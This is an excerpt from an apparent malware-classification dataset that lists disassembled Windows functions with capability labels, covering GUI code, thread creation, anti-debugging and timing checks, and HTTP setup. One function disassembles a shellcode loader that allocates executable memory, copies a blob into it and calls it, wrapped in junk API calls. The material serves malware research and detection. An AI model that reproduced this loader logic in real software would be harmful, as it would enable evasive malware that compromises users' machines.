joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4399a0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x473868
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4399d9
inc eax
mov dword [esi + 0x10], eax
jmp 0x439aec
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4399ed
mov eax, 0xffffffc7
jmp 0x439aee
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x4399fe
cmp dword [esi + 8], eax
jne 0x4399ed
cmp dword [esi + 8], eax
jne 0x439a17
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x439a17
mov eax, 0xffffffc7
jmp 0x439aee
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x439a2b
push eax
mov ecx, ebx
call fcn.004391d0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00409cb0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x439a5c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00409cd0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00438940
test eax, eax
mov dword [esp + 0x38], eax
je 0x439a8f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4a5320
call fcn.00409eb0
mov eax, dword [esp + 0x38]
jmp 0x439aee
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00439800
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x439ad3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00439820
mov esi, eax
test esi, esi
jne 0x439b03
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00439800
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x439aa5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4a5320
call fcn.00409eb0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4a5320
call fcn.00409eb0
mov eax, esi
jmp 0x439aee

Function at 0x43cc30
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x43cc90
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x43cc90
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x43cc90
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x43cc90
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x43ccd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x442df0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x473e98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0046c65a
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00442790
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0046c588
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00468e43
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00468e43
push 1
push 0
push 0
mov ecx, esi
call fcn.00468deb
push 1
push 0
push 1
mov ecx, esi
call fcn.00468deb
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046c6cc
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x442f70
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x473eb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0046c65a
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00442790
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0046c588
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x443034
cmp dword [esp + 0x40], 1
jne 0x443032
cmp ecx, eax
jge 0x443034
mov eax, ecx
cmp eax, 0xc8
jge 0x443040
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00442df0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0046c6cc
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4437b0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x473f23
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00467264
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0046c902
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0046de1e
test eax, eax
je 0x4438cc
mov ecx, dword [esp + 0x3c]
call fcn.0046c92f
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x443890
push edi
mov ecx, esi
call fcn.00469f8a
mov ecx, esi
call fcn.00443a30
cmp dword [esp + 0x38], 1
jne 0x4438c5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0046a0c5
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x4462f0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x446323
push esi
call fcn.004493f0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44631c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4463a9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x446392
mov eax, dword [esi + 8]
test eax, eax
je 0x446347
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44638e
cmp eax, 2
je 0x446392
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44633a
cmp eax, 3
je 0x44636d
cmp eax, 1
jne 0x44633a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44633a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44633a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004463d0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4463b8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004463d0
add esp, 4
pop esi
ret

Function at 0x451690
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4516f6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4516f6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4516d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x451a80
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x451ab8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x452780
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4527c9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x452c40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x474420
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004527f0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00452870
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00452870
lea ecx, [esi + 0xc]
call fcn.00465c40
lea ecx, [esi + 0x10]
call fcn.00465c40
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00453e00
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00453e00
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00453e00
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00465cb5
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00465cb5
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x468059
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x468091
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00466110
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004660e8
jmp 0x46809d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x469747
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x469789
call fcn.0046f4c9
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x469789
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x469780
xor eax, eax
jmp 0x469791
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00469797
pop edi
pop esi
pop ebx
ret 4

Function at 0x46f9f9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46fa27
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46fa45
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046f95f
jmp 0x46fa45
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46fa45
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046f95f
test edi, edi
mov eax, edi
jne 0x46fa2f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40b780
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x40b853
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x87e174], 0x319
jne 0x40b83b
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0040adea
add ebx, 8
dec dword [ebp - 0xc]
jne 0x40b79e
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x40b85f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push ebx
push esi
push edi
push 0x401524
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401534
push eax
mov dword [0x8164d4], eax
call esi
push 0x401540
push dword [0x8164d4]
mov dword [0x8164cc], eax
call esi
push dword [0x87e174]
xor esi, esi
push esi
mov dword [0x8132ac], eax
call dword [0x8164cc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x87e174]
mov dword [0x8132c4], eax
push eax
call dword [0x8132ac]
xor edi, edi
cmp edi, 0x85b4
jge 0x40b8d7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x40b8fc
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x40b8c9
jg 0x40b8fc
cmp eax, 0xd69e5f85
jb 0x40b8c9
mov eax, dword [0x415724]
mov dword [0x87e178], eax
xor eax, eax
cmp dword [0x87e174], esi
jbe 0x40b92f
mov ecx, dword [0x87e178]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x8132c4]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x87e174]
jb 0x40b910
xor edi, edi
mov eax, dword [0x87e174]
add eax, edi
cmp eax, 0x5e
jne 0x40b96c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
lea eax, [ebp - 0x434]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
inc edi
cmp edi, 0xa69b
jl 0x40b931
mov edx, dword [0x87e174]
mov ecx, dword [0x8132c4]
push 0x415008
call fcn.0040b780
xor eax, eax
cmp eax, 0x59d8
jne 0x40b99e
mov ecx, 0x8132c4
call fcn.0040b858
inc eax
cmp eax, 0x356d83
jl 0x40b98d
push 0x7b
pop ebx
cmp dword [0x87e174], 0x54d
jne 0x40b9e6
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401550
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x40b9a9
mov eax, dword [0x8132c4]
mov dword [0x8164dc], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b9fa
Capabilities:
Create thread
Get disk size
Get hostname
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
cmp dword [0x87e174], 0x598
push ebx
push esi
jne 0x40ba84
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x401570
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
lea eax, [ebp - 8]
push eax
push ebx
push 0x401578
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor eax, eax
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push ebx
call fcn.0040c4fb
push ebx
push ebx
push ebx
call fcn.0040c2d9
add esp, 0x10
call fcn.0040c138
push ebx
call fcn.0040c0a0
mov esi, 0xa4808
xor ebx, ebx
cmp dword [0x87e174], 0x57c
jne 0x40badd
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x248]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
dec esi
jne 0x40ba8b
mov esi, dword [0x4166d4]
add esi, 0xb2d3b
mov eax, 0x4187e0
mov dword [0x87e174], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40bafa
sub eax, edx
cmp eax, 0x1515
jne 0x40bb6f
cmp esi, 0x18
jne 0x40bb35
push ebx
push ebx
push ebx
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov esi, dword [0x87e174]
cmp esi, 0x9e6
jne 0x40bb59
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call fcn.0040bd36
push ebx
push ebx
call fcn.0040bca7
push ebx
call fcn.0040c4fb
add esp, 0x10
call fcn.0040b85f
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x40c979
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417a6c]
jne 0x40c983
repz ret
jmp fcn.004101f5
Function at 0x411653
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d47b
and dword [ebp - 4], 0
cmp dword [0x87ed5c], 0
mov ebx, eax
jne 0x411704
push 0x402dcc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4117b5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402dc0
push edi
call esi
test eax, eax
je 0x4117b5
push eax
call fcn.0040d409
mov dword [esp], 0x402db0
push edi
mov dword [0x87ed5c], eax
call esi
push eax
call fcn.0040d409
mov dword [esp], 0x402d9c
push edi
mov dword [0x87ed60], eax
call esi
push eax
call fcn.0040d409
mov dword [esp], 0x402d80
push edi
mov dword [0x87ed64], eax
call esi
push eax
call fcn.0040d409
pop ecx
mov dword [0x87ed6c], eax
test eax, eax
je 0x411704
push 0x402d68
push edi
call esi
push eax
call fcn.0040d409
pop ecx
mov dword [0x87ed68], eax
mov eax, dword [0x87ed68]
cmp eax, ebx
je 0x41175c
cmp dword [0x87ed6c], ebx
je 0x41175c
push eax
call fcn.0040d484
push dword [0x87ed6c]
mov esi, eax
call fcn.0040d484
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41175c
test edi, edi
je 0x41175c
call esi
test eax, eax
je 0x411753
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411753
test byte [ebp - 0xc], 1
jne 0x41175c
or dword [ebp + 0x10], 0x200000
jmp 0x411795
mov eax, dword [0x87ed60]
cmp eax, ebx
je 0x411795
push eax
call fcn.0040d484
pop ecx
test eax, eax
je 0x411795
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x411795
mov eax, dword [0x87ed64]
cmp eax, ebx
je 0x411795
push eax
call fcn.0040d484
pop ecx
test eax, eax
je 0x411795
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x87ed5c]
call fcn.0040d484
pop ecx
test eax, eax
je 0x4117b5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4117b7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret